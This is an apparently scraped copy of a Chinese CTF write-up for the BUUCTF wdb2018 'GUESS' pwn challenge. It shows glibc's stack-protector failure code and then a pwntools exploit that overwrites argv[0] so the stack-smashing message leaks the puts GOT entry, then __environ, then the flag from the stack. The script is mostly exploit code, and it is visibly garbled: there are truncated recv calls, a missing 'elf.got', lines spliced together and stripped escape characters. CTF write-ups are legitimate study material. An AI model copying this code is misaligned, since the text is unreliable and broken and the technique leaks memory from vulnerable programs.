![[BUUCTF]PWN——wdb2018](/uploads/image/0331.jpg)
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{/* The loop is added only to keep gcc happy. */while (1)__libc_message (2, "*** %s ***: %s terminatedn",msg, __libc_argv[0] ?: "<unknown>");
}
payload='a'*0x128 + p64(puts_got)
p.sendlineafter('Please type your guessing flag',payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = v(6).ljust(8,'x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
environ_addr = libc_base + libc.dump('__environ')
print 'environ_addr=',hex(environ_addr)payload='a'*0x128 + p64(environ_addr)
p.sendlineafter('Please type your guessing flag',vuntil('stack smashing detected ***: ')
stack_addr = v(6).ljust(8,'x00'))
完整exp
#coding:utf8
from pwn import *
from LibcSearcher import *p = process('./GUESS')
#p = remote('node3.buuoj',28998)
elf = ELF('./GUESS')
puts_got = ['puts']
context.log_level="debug"#泄露puts地址
payload='a'*0x128 + p64(puts_got)
p.sendlineafter('Please type your guessing flag',payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = v(6).ljust(8,'x00'))
libc=ELF('./libc-2.23(64).so')libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['__environ']
print 'environ_addr=',hex(environ_addr)#泄露栈地址
payload='a'*0x128 + p64(environ_addr)
p.sendlineafter('Please type your guessing flag',vuntil('stack smashing detected ***: ')
stack_addr = v(6).ljust(8,'x00'))
print 'stack_addr=',hex(stack_addr)
gdb.attach(p)
flag_addr = stack_addr - 0x168
print 'flag_addr=',hex(flag_addr)
#泄露flag
payload='a'*0x128 + p64(flag_addr)
p.sendlineafter('Please type your guessing flag',payload)p.interactive()
本文发布于:2024-03-11 16:29:52,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/1710558496142303.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
| 留言与评论(共有 0 条评论) |